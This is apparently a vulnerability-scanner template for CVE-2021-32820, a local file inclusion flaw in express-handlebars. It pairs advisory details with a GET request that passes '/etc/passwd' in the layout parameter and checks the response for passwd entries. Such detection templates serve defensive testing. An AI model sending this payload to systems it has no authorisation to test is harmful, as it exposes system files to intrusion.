id: CVE-2021-32820

info:
  name: Express-handlebars - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
    - https://github.com/express-handlebars/express-handlebars/pull/163
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32820
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-32820
    cwe-id: CWE-200
    cpe: cpe:2.3:a:express_handlebars_project:express_handlebars:*:*:*:*:*:*:*:*
    epss-score: 0.01001
  tags: cve,cve2021,expressjs,lfi,xxe
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/?layout=/etc/passwd"

    matchers-condition: and
    matchers:

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "daemon:[x*]:0:0:"
          - "operator:[x*]:0:0:"
        condition: or

      - type: status
        status:
          - 200
# Enhanced by mp on 2022/06/30